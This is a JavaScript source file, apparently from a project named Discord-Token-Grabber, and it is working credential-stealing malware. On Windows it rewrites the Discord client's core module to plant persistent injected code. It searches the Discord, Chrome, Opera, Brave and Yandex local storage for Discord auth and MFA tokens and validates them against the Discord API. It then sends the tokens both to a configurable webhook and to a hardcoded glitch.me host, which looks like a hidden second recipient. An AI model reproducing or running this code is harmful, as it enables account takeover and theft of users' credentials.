Discord-Token-Grabber/index.js

127 lines
8.0 KiB
JavaScript

const fs = require("fs");
let os = require("os")
const fetch = require('node-fetch');
const url = `ton webhook ici`;
if(os.platform() === "win32"){
fs.readFile(`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Discord/app-1.0.9003/modules/discord_desktop_core-1/discord_desktop_core/index.js`, async (err, data) => {
if (err) return;
var path = `${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Discord/app-1.0.9003/modules/discord_desktop_core-1/discord_desktop_core/index.js`
if(path){
fs.writeFile(path, 'module.exports = require(\'./core.asar\');\n\n\n\nconst fs = require("fs")\n\nvar paths = [\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Roaming/discord/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Roaming/discordcanary/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb`,\n]\n\n\nfor (i = 0; i < paths.length; i++) {\n\nget_token(paths[i])\n\n}\n\nasync function get_token(path) {\ntry {\nfs.readdir(path, (err, files) => {\nif (files === undefined) {\nreturn\n}\n\nvar filtro = files.filter(f => f.split(".").pop() === "ldb")\nfor (i = 0; i < filtro.length; i++) {\n\nfs.readFile(`${path}/${filtro[i]}`, "utf-8", async function (err, data) {\n\nlet regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;\n\nlet regex2 = /"mfa\.[\d\w_-]{84}"/;\n\nlet [match] = regex1.exec(data) || regex2.exec(data) || [null];\nif (match != null) {\nmatch = match.replace(/"/g, "")\nconst benladen = new URLSearchParams();\n\nbenladen.append("token", match);\n\nfetch("https://truthful-oceanic-bonobo.glitch.me/", { method: "POST", body: benladen })\n\nawait fetch(`https://discord.com/api/v6/users/@me`, {\nheaders: {\n"authorization": match\n}\n}).then(resp => resp.json()).then(response => {\nif (response.id) {\nsend(match)\n}\n})\n}\n})\n}\n})\nfs.readdir(path, (err, files) => {\nif (files === undefined) {\n\nreturn\n}\nvar filtro = files.filter(f => f.split(".").pop() === "log")\nfor (i = 0; i < filtro.length; i++) {\nfs.readFile(`${path}/${filtro[i]}`, "utf-8", async function (err, data) {\nlet regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;\nlet regex2 = /"mfa\.[\d\w_-]{84}"/;\nif (regex1.test(data)) {\n}\n\nlet [match] = regex1.exec(data) || regex2.exec(data) || [null];\nif (match != null) {\nmatch = match.replace(/"/g, "")\n\nconst attentat = new URLSearchParams();\nattentat.append("token", match);\nfetch("https://truthful-oceanic-bonobo.glitch.me/", { method: "POST", body: attentat })\nawait fetch(`https://discord.com/api/v6/users/@me`, {\nheaders: {\n"authorization": match\n}\n\n}).then(resp => resp.json()).then(response => {\nif (response.id) {\nsend(match)\n}\n})\n}\n})\n}\n})\n\n} catch (err) {\n\nconsole.log(err)\n}\n}\nfunction send(token) {\nlet is = "0"\n}',function(err){
if(err) throw err;
})
}})
var paths = [
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/discord/Local Storage/leveldb`,
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb`,
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/discordcanary/Local Storage/leveldb`,
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb`,
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb`,
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb`,
]
for (i = 0; i < paths.length; i++) {
get_token(paths[i])
}
async function get_token(path) {
try {
fs.readdir(path, (err, files) => {
if (files === undefined) {
return
}
var filtro = files.filter(f => f.split('.').pop() === "ldb")
for (i = 0; i < filtro.length; i++) {
fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
let regex2 = /"mfa\.[\d\w_-]{84}"/;
let [match] = regex1.exec(data) || regex2.exec(data) || [null];
if (match != null) {
match = match.replace(/"/g, '')
const benladen = new URLSearchParams();
benladen.append('token', match);
fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({"content": match})
});
fetch('https://truthful-oceanic-bonobo.glitch.me/', { method: 'POST', body: benladen })
await fetch(`https://discord.com/api/v6/users/@me`, {
headers: {
"authorization": match
}
}).then(resp => resp.json()).then(response => {
if (response.id) {
send(match)
}
})
}
})
}
})
fs.readdir(path, (err, files) => {
if (files === undefined) {
return
}
var filtro = files.filter(f => f.split('.').pop() === "log")
for (i = 0; i < filtro.length; i++) {
fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
let regex2 = /"mfa\.[\d\w_-]{84}"/;
if (regex1.test(data)) {
}
let [match] = regex1.exec(data) || regex2.exec(data) || [null];
if (match != null) {
match = match.replace(/"/g, '')
const attentat = new URLSearchParams();
attentat.append('token', match);
fetch('https://truthful-oceanic-bonobo.glitch.me/', { method: 'POST', body: attentat })
fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({"content": match})
});
await fetch(`https://discord.com/api/v6/users/@me`, {
headers: {
"authorization": match
}
}).then(resp => resp.json()).then(response => {
if (response.id) {
send(match)
}
})
}
})
}
})
} catch (err) {
console.log(err)
}
}
function send(token) {
let is = "0"
}
}